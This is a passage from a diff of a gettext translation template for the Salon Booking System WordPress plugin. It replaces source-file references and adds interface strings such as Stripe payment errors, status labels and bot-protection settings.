build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:186\n-msgid \"Resource scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>. \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:147\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:147\n+msgid \"Start week on\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:193, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:193, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:193\n-msgid \"Resource draft updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:446\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:446\n+msgid \"Starts after timeline\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:216, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:216, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:216, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:216, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:216, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:216\n-msgid \"Salon Resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:129\n+msgid \"Stats on reservations and revenues.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:30\n+msgid \"STATUS\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:218, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:218, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:218\n-msgid \"Add Resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_info.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_title.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:430\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:298\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_title.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:430\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:298\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:29\n+msgid \"Status\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:219, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:219, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:219\n-msgid \"Add New Resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:163\n+msgid \"Status:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:220, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:220, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:220\n-msgid \"Edit Resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_progbar.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:154\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_progbar.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:144\n+msgid \"Step\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:221, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:221, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:221\n-msgid \"New Resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:759\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:759\n+msgid \"Stripe\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:222, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:222, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:222\n-msgid \"View Resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:4\n+msgid \"Stripe account informations\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:223, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:223, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:223\n-msgid \"Search Resources\"\n+#. %s: Stripe API error message\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:159\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:159\n+#, php-format\n+msgid \"Stripe API error: %s\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:224, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:224, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:224\n-msgid \"No resources found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:54\n+msgid \"\"\n+\"Stripe API key is not configured. Please check the plugin payment settings.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:225, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:225, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:225\n-msgid \"No resources found in trash\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:47\n+msgid \"Stripe library not found. Please check the plugin installation.\"\n+msgstr \"\"\n+\n+#. %s: Stripe payment intent status\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:128\n+#, php-format\n+msgid \"\"\n+\"Stripe session is marked paid but payment intent status is \\\"%s\\\". No \"\n+\"changes made.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:226, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:226, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:226, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:226\n-msgid \"Resources Archive\"\n+#. %s: Stripe session payment_status value\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:147\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:147\n+#, php-format\n+msgid \"Stripe session payment status: \\\"%s\\\". No changes made.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:125\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:125\n+msgid \"Stripe, PayPal and more payment gateways available on PRO edition.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:17\n+msgid \"Style\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:151, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:151, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:151\n-msgid \"Service ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:465\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:465\n+msgid \"Subject for feedback mail\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:195, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:195, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:195\n-msgid \"Enter service name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:103\n+msgid \"Submissions below your threshold are automatically blocked\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:208, src\u002FSLN\u002FPostType\u002FService.php:212, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:208, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:212, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:208, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:212\n-msgid \"Service updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_feedback_content.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_feedback_content.php:56\n+msgid \"Submit a review\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the revision title\n-#: src\u002FSLN\u002FPostType\u002FService.php:215, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:215, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:215\n-msgid \"Service restored to revision from %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:330\n+msgid \"Subscription Status\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:219, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:219, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:219\n-msgid \"Service published.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:246\n+msgid \"Subscription status refreshed successfully\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_form_actions.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 